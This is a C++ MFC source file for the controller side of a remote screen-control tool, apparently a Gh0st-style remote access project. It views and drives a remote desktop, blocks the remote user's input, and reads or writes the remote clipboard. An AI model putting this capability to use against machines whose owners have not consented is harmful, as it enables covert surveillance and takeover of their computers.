699 lines
17 KiB
C++
699 lines
17 KiB
C++
// ScreenSpyDlg.cpp : 实现文件
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//
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#include "stdafx.h"
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#include "2015Remote.h"
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#include "ScreenSpyDlg.h"
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#include "afxdialogex.h"
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// CScreenSpyDlg 对话框
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enum
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{
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IDM_CONTROL = 0x1010,
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IDM_FULLSCREEN,
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IDM_SEND_CTRL_ALT_DEL,
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IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
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IDM_BLOCK_INPUT, // 锁定远程计算机输入
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IDM_SAVEDIB, // 保存图片
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IDM_GET_CLIPBOARD, // 获取剪贴板
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IDM_SET_CLIPBOARD, // 设置剪贴板
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};
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IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
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#define ALGORITHM_DIFF 1
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CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
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: CDialog(CScreenSpyDlg::IDD, Parent)
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{
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m_bFullScreen = FALSE;
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m_iocpServer = IOCPServer;
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m_ContextObject = ContextObject;
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CHAR szFullPath[MAX_PATH];
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GetSystemDirectory(szFullPath, MAX_PATH);
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lstrcat(szFullPath, "\\shell32.dll"); //图标
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m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
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m_hCursor = LoadCursor(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(IDC_ARROWS));
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sockaddr_in ClientAddr;
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memset(&ClientAddr, 0, sizeof(ClientAddr));
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int ulClientAddrLen = sizeof(sockaddr_in);
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BOOL bOk = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &ulClientAddrLen);
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m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
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m_bIsFirst = TRUE;
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m_ulHScrollPos = 0;
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m_ulVScrollPos = 0;
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ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
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m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength];
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memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), ulBitmapInforLength);
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m_bIsCtrl = FALSE;
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m_bIsTraceCursor = FALSE;
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}
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VOID CScreenSpyDlg::SendNext(void)
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{
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BYTE bToken = COMMAND_NEXT;
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m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
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}
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CScreenSpyDlg::~CScreenSpyDlg()
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{
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if (m_BitmapInfor_Full!=NULL)
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{
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delete m_BitmapInfor_Full;
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m_BitmapInfor_Full = NULL;
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}
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::ReleaseDC(m_hWnd, m_hFullDC); //GetDC
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::DeleteDC(m_hFullMemDC); //Create匹配内存DC
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::DeleteObject(m_BitmapHandle);
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if (m_BitmapData_Full!=NULL)
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{
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m_BitmapData_Full = NULL;
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}
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}
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void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
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{
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CDialog::DoDataExchange(pDX);
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}
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BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
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ON_WM_CLOSE()
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ON_WM_PAINT()
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ON_WM_SYSCOMMAND()
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ON_WM_HSCROLL()
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ON_WM_VSCROLL()
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ON_WM_LBUTTONDOWN()
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ON_WM_LBUTTONUP()
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ON_WM_MOUSEWHEEL()
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ON_WM_MOUSEMOVE()
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ON_WM_KILLFOCUS()
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ON_WM_SIZE()
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END_MESSAGE_MAP()
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// CScreenSpyDlg 消息处理程序
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BOOL CScreenSpyDlg::OnInitDialog()
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{
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CDialog::OnInitDialog();
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SetIcon(m_hIcon,FALSE);
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CString strString;
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strString.Format("%s - 远程桌面控制 %d×%d", m_strClientIP,
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m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
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SetWindowText(strString);
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m_hFullDC = ::GetDC(m_hWnd);
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m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
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m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
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DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //创建应用程序可以直接写入的、与设备无关的位图
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SelectObject(m_hFullMemDC, m_BitmapHandle);//择一对象到指定的设备上下文环境
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SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //指定滚动条范围的最小值和最大值
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SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768
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CMenu* SysMenu = GetSystemMenu(FALSE);
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if (SysMenu != NULL)
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{
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SysMenu->AppendMenu(MF_SEPARATOR);
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SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
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SysMenu->AppendMenu(MF_STRING, IDM_FULLSCREEN, "全屏(&F)");
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SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪被控端鼠标(&T)");
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SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定被控端鼠标和键盘(&L)");
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SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
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SysMenu->AppendMenu(MF_SEPARATOR);
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SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
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SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
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SysMenu->AppendMenu(MF_SEPARATOR);
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}
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m_bIsCtrl = FALSE; //不是控制
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m_bIsTraceCursor = FALSE; //不是跟踪
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m_ClientCursorPos.x = 0;
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m_ClientCursorPos.y = 0;
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m_bCursorIndex = 0;
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SendNext();
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return TRUE;
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}
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VOID CScreenSpyDlg::OnClose()
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{
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#if CLOSE_DELETE_DLG
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m_ContextObject->v1 = 0;
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#endif
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CancelIo((HANDLE)m_ContextObject->sClientSocket);
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closesocket(m_ContextObject->sClientSocket);
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CDialog::OnClose();
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#if CLOSE_DELETE_DLG
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delete this;
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#endif
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}
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VOID CScreenSpyDlg::OnReceiveComplete()
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{
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assert (m_ContextObject);
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switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0])
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{
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case TOKEN_FIRSTSCREEN:
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{
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DrawFirstScreen();
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break;
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}
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case TOKEN_NEXTSCREEN:
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{
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if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF)
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{
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DrawNextScreenDiff();
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}
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break;
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}
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case TOKEN_CLIPBOARD_TEXT:
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{
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UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1),
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m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1);
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break;
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}
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}
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}
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VOID CScreenSpyDlg::DrawFirstScreen(void)
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{
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m_bIsFirst = FALSE;
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//得到被控端发来的数据 ，将他拷贝到HBITMAP的缓冲区中，这样一个图像就出现了
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memcpy(m_BitmapData_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_BitmapInfor_Full->bmiHeader.biSizeImage);
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PostMessage(WM_PAINT);//触发WM_PAINT消息
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}
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VOID CScreenSpyDlg::DrawNextScreenDiff(void)
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{
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//该函数不是直接画到屏幕上，而是更新一下变化部分的屏幕数据然后调用
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//OnPaint画上去
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//根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标，防止鼠标闪烁
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BOOL bChange = FALSE;
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ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标 位置 + 光标类型索引
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LPVOID FirstScreenData = m_BitmapData_Full;
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LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength);
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ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength;
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POINT OldClientCursorPos;
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memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT));
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memcpy(&m_ClientCursorPos, m_ContextObject->InDeCompressedBuffer.GetBuffer(2), sizeof(POINT));
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// 鼠标移动了
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if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0)
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{
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bChange = TRUE;
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}
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// 光标类型发生变化
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BYTE bOldCursorIndex = m_bCursorIndex;
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m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
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if (bOldCursorIndex != m_bCursorIndex)
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{
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bChange = TRUE;
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if (m_bIsCtrl && !m_bIsTraceCursor)//替换指定窗口所属类的WNDCLASSEX结构
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SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
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}
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// 屏幕是否变化
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if (NextScreenLength > 0)
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{
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bChange = TRUE;
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}
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//lodsd指令从ESI指向的内存位置4个字节内容放入EAX中并且下移4
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//movsb指令字节传送数据，通过SI和DI这两个寄存器控制字符串的源地址和目标地址
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//m_rectBuffer [0002 esi0002 esi000A 000C] [][]edi[][][][][][][][][][][][][][][][][]
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__asm
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{
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mov ebx, [NextScreenLength] //ebx 16
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mov esi, [NextScreenData]
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jmp CopyEnd
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CopyNextBlock:
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mov edi, [FirstScreenData]
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lodsd // 把lpNextScreen的第一个双字节，放到eax中,就是DIB中改变区域的偏移
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add edi, eax // lpFirstScreen偏移eax
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lodsd // 把lpNextScreen的下一个双字节，放到eax中, 就是改变区域的大小
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mov ecx, eax
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sub ebx, 8 // ebx 减去 两个dword
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sub ebx, ecx // ebx 减去DIB数据的大小
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rep movsb
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CopyEnd:
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cmp ebx, 0 // 是否写入完毕
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jnz CopyNextBlock
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}
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if (bChange)
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{
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PostMessage(WM_PAINT);
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}
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}
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void CScreenSpyDlg::OnPaint()
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{
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CPaintDC dc(this); // device context for painting
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if (m_bIsFirst)
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{
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DrawTipString("请等待......");
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return;
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}
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BitBlt(m_hFullDC,0,0,
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m_BitmapInfor_Full->bmiHeader.biWidth,
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m_BitmapInfor_Full->bmiHeader.biHeight,
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m_hFullMemDC,
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m_ulHScrollPos,
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m_ulVScrollPos,
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SRCCOPY
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);
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if (m_bIsTraceCursor)
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DrawIconEx(
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m_hFullDC,
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m_ClientCursorPos.x - m_ulHScrollPos,
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m_ClientCursorPos.y - m_ulVScrollPos,
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m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex),
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0,0,
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0,
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NULL,
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DI_NORMAL | DI_COMPAT
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);
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}
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VOID CScreenSpyDlg::DrawTipString(CString strString)
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{
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RECT Rect;
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GetClientRect(&Rect);
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//COLORREF用来描绘一个RGB颜色
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COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00);
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COLORREF OldBackgroundColor = SetBkColor(m_hFullDC, BackgroundColor);
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COLORREF OldTextColor = SetTextColor(m_hFullDC, RGB(0xff,0x00,0x00));
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//ExtTextOut函数可以提供一个可供选择的矩形，用当前选择的字体、背景颜色和正文颜色来绘制一个字符串
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ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL);
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DrawText (m_hFullDC, strString, -1, &Rect,DT_SINGLELINE | DT_CENTER | DT_VCENTER);
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SetBkColor(m_hFullDC, BackgroundColor);
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SetTextColor(m_hFullDC, OldBackgroundColor);
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}
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void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
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{
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// TODO: 在此添加消息处理程序代码和/或调用默认值
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CMenu* SysMenu = GetSystemMenu(FALSE);
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switch (nID)
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{
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case IDM_CONTROL:
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{
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m_bIsCtrl = !m_bIsCtrl;
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SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
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break;
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}
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case IDM_FULLSCREEN: // 全屏
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{
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EnterFullScreen();
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SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_CHECKED); //菜单样式
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break;
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}
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case IDM_SAVEDIB: // 快照保存
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{
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SaveSnapshot();
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break;
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}
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case IDM_TRACE_CURSOR: // 跟踪被控端鼠标
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{
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m_bIsTraceCursor = !m_bIsTraceCursor; //这里在改变数据
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SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//在菜单打钩不打钩
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// 重绘消除或显示鼠标
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OnPaint();
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break;
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}
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case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
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{
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BOOL bIsChecked = SysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
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SysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
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BYTE bToken[2];
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bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
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bToken[1] = !bIsChecked;
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m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
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break;
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}
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case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容
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{
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BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
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m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
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break;
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}
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case IDM_SET_CLIPBOARD: //给他
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{
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SendServerClipboard();
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break;
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}
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}
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CDialog::OnSysCommand(nID, lParam);
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}
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BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
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{
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#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
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switch (pMsg->message)
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{
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case WM_LBUTTONDOWN:
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case WM_LBUTTONUP:
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case WM_RBUTTONDOWN:
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case WM_RBUTTONUP:
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case WM_MOUSEMOVE:
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case WM_LBUTTONDBLCLK:
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case WM_RBUTTONDBLCLK:
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case WM_MBUTTONDOWN:
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case WM_MBUTTONUP:
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case WM_MOUSEWHEEL:
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{
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MSG Msg;
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memcpy(&Msg, pMsg, sizeof(MSG));
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Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos);
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Msg.pt.x += m_ulHScrollPos;
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Msg.pt.y += m_ulVScrollPos;
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SendCommand(&Msg);
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}
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break;
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case WM_KEYDOWN:
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case WM_KEYUP:
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case WM_SYSKEYDOWN:
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case WM_SYSKEYUP:
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if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: 退出全屏
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return true;
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if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
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{
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MSG Msg;
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memcpy(&Msg, pMsg, sizeof(MSG));
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Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos);
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Msg.pt.x += m_ulHScrollPos;
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Msg.pt.y += m_ulVScrollPos;
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SendCommand(&Msg);
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}
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if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
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return true;// 屏蔽Enter和ESC关闭对话
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break;
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}
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return CDialog::PreTranslateMessage(pMsg);
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}
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VOID CScreenSpyDlg::SendCommand(MSG* Msg)
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{
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if (!m_bIsCtrl)
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return;
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LPBYTE szData = new BYTE[sizeof(MSG) + 1];
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szData[0] = COMMAND_SCREEN_CONTROL;
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memcpy(szData + 1, Msg, sizeof(MSG));
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m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1);
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delete[] szData;
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}
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BOOL CScreenSpyDlg::SaveSnapshot(void)
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{
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CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
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CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this);
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if(Dlg.DoModal () != IDOK)
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return FALSE;
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BITMAPFILEHEADER BitMapFileHeader;
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LPBITMAPINFO BitMapInfor = m_BitmapInfor_Full; //1920 1080 1 0000
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CFile File;
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if (!File.Open( Dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
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{
|
||
return FALSE;
|
||
}
|
||
|
||
// BITMAPINFO大小
|
||
//+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD)
|
||
//bmp fjkdfj dkfjkdfj [][][][]
|
||
int nbmiSize = sizeof(BITMAPINFO);
|
||
|
||
//协议 TCP 校验值
|
||
BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B');
|
||
BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421
|
||
BitMapFileHeader.bfReserved1 = 0; //8000
|
||
BitMapFileHeader.bfReserved2 = 0;
|
||
BitMapFileHeader.bfOffBits = sizeof(BitMapFileHeader) + nbmiSize;
|
||
|
||
File.Write(&BitMapFileHeader, sizeof(BitMapFileHeader));
|
||
File.Write(BitMapInfor, nbmiSize);
|
||
|
||
File.Write(m_BitmapData_Full, BitMapInfor->bmiHeader.biSizeImage);
|
||
File.Close();
|
||
|
||
return true;
|
||
}
|
||
|
||
|
||
VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength)
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
|
||
::EmptyClipboard();
|
||
HGLOBAL hGlobal = GlobalAlloc(GPTR, ulLength);
|
||
if (hGlobal != NULL) {
|
||
|
||
char* szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||
memcpy(szClipboardVirtualAddress,szBuffer,ulLength);
|
||
GlobalUnlock(hGlobal);
|
||
SetClipboardData(CF_TEXT, hGlobal);
|
||
GlobalFree(hGlobal);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
VOID CScreenSpyDlg::SendServerClipboard(void)
|
||
{
|
||
if (!::OpenClipboard(NULL)) //打开剪切板设备
|
||
return;
|
||
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //代表着一个内存
|
||
if (hGlobal == NULL)
|
||
{
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //锁定
|
||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||
|
||
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||
::GlobalUnlock(hGlobal);
|
||
::CloseClipboard();
|
||
m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
||
delete[] szBuffer;
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||
{
|
||
SCROLLINFO si = {sizeof(si)};
|
||
si.fMask = SIF_ALL;
|
||
GetScrollInfo(SB_HORZ, &si);
|
||
|
||
int nPrevPos = si.nPos;
|
||
switch(nSBCode)
|
||
{
|
||
case SB_LEFT:
|
||
si.nPos = si.nMin;
|
||
break;
|
||
case SB_RIGHT:
|
||
si.nPos = si.nMax;
|
||
break;
|
||
case SB_LINELEFT:
|
||
si.nPos -= 8;
|
||
break;
|
||
case SB_LINERIGHT:
|
||
si.nPos += 8;
|
||
break;
|
||
case SB_PAGELEFT:
|
||
si.nPos -= si.nPage;
|
||
break;
|
||
case SB_PAGERIGHT:
|
||
si.nPos += si.nPage;
|
||
break;
|
||
case SB_THUMBTRACK:
|
||
si.nPos = si.nTrackPos;
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
si.fMask = SIF_POS;
|
||
SetScrollInfo(SB_HORZ, &si, TRUE);
|
||
if (si.nPos != nPrevPos)
|
||
{
|
||
m_ulHScrollPos += si.nPos - nPrevPos;
|
||
ScrollWindow(nPrevPos - si.nPos, 0, NULL, NULL);
|
||
}
|
||
|
||
CDialog::OnHScroll(nSBCode, nPrevPos, pScrollBar);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||
{
|
||
SCROLLINFO si = {sizeof(si)};
|
||
si.fMask = SIF_ALL;
|
||
GetScrollInfo(SB_VERT, &si);
|
||
|
||
int nPrevPos = si.nPos;
|
||
switch(nSBCode)
|
||
{
|
||
case SB_TOP:
|
||
si.nPos = si.nMin;
|
||
break;
|
||
case SB_BOTTOM:
|
||
si.nPos = si.nMax;
|
||
break;
|
||
case SB_LINEUP:
|
||
si.nPos -= 8;
|
||
break;
|
||
case SB_LINEDOWN:
|
||
si.nPos += 8;
|
||
break;
|
||
case SB_PAGEUP:
|
||
si.nPos -= si.nPage;
|
||
break;
|
||
case SB_PAGEDOWN:
|
||
si.nPos += si.nPage;
|
||
break;
|
||
case SB_THUMBTRACK:
|
||
si.nPos = si.nTrackPos;
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
si.fMask = SIF_POS;
|
||
SetScrollInfo(SB_VERT, &si, TRUE);
|
||
if (si.nPos != nPrevPos)
|
||
{
|
||
m_ulVScrollPos += si.nPos - nPrevPos;
|
||
ScrollWindow(0, nPrevPos - si.nPos, NULL, NULL);
|
||
}
|
||
|
||
CDialog::OnVScroll(nSBCode, nPrevPos, pScrollBar);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::EnterFullScreen()
|
||
{
|
||
if (!m_bFullScreen)
|
||
{
|
||
//get current system resolution
|
||
int g_iCurScreenWidth = GetSystemMetrics(SM_CXSCREEN);
|
||
int g_iCurScreenHeight = GetSystemMetrics(SM_CYSCREEN);
|
||
|
||
//for full screen while backplay
|
||
GetWindowPlacement(&m_struOldWndpl);
|
||
|
||
CRect rectWholeDlg;//entire client(including title bar)
|
||
CRect rectClient;//client area(not including title bar)
|
||
CRect rectFullScreen;
|
||
GetWindowRect(&rectWholeDlg);
|
||
RepositionBars(0, 0xffff, AFX_IDW_PANE_FIRST, reposQuery, &rectClient);
|
||
ClientToScreen(&rectClient);
|
||
|
||
rectFullScreen.left = rectWholeDlg.left-rectClient.left;
|
||
rectFullScreen.top = rectWholeDlg.top-rectClient.top;
|
||
rectFullScreen.right = rectWholeDlg.right+g_iCurScreenWidth - rectClient.right;
|
||
rectFullScreen.bottom = rectWholeDlg.bottom+g_iCurScreenHeight - rectClient.bottom;
|
||
//enter into full screen;
|
||
WINDOWPLACEMENT struWndpl;
|
||
struWndpl.length = sizeof(WINDOWPLACEMENT);
|
||
struWndpl.flags = 0;
|
||
struWndpl.showCmd = SW_SHOWNORMAL;
|
||
struWndpl.rcNormalPosition = rectFullScreen;
|
||
SetWindowPlacement(&struWndpl);
|
||
m_bFullScreen = true;
|
||
}
|
||
}
|
||
|
||
// 全屏退出成功则返回true
|
||
bool CScreenSpyDlg::LeaveFullScreen()
|
||
{
|
||
if (m_bFullScreen)
|
||
{
|
||
SetWindowPlacement(&m_struOldWndpl);
|
||
CMenu *SysMenu = GetSystemMenu(FALSE);
|
||
SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //菜单样式
|
||
m_bFullScreen = false;
|
||
return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
|
||
{
|
||
CDialog::OnLButtonDown(nFlags, point);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
|
||
{
|
||
CDialog::OnLButtonUp(nFlags, point);
|
||
}
|
||
|
||
|
||
BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
|
||
{
|
||
return CDialog::OnMouseWheel(nFlags, zDelta, pt);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
|
||
{
|
||
CDialog::OnMouseMove(nFlags, point);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnKillFocus(CWnd* pNewWnd)
|
||
{
|
||
CDialog::OnKillFocus(pNewWnd);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnSize(UINT nType, int cx, int cy)
|
||
{
|
||
CDialog::OnSize(nType, cx, cy);
|
||
}
|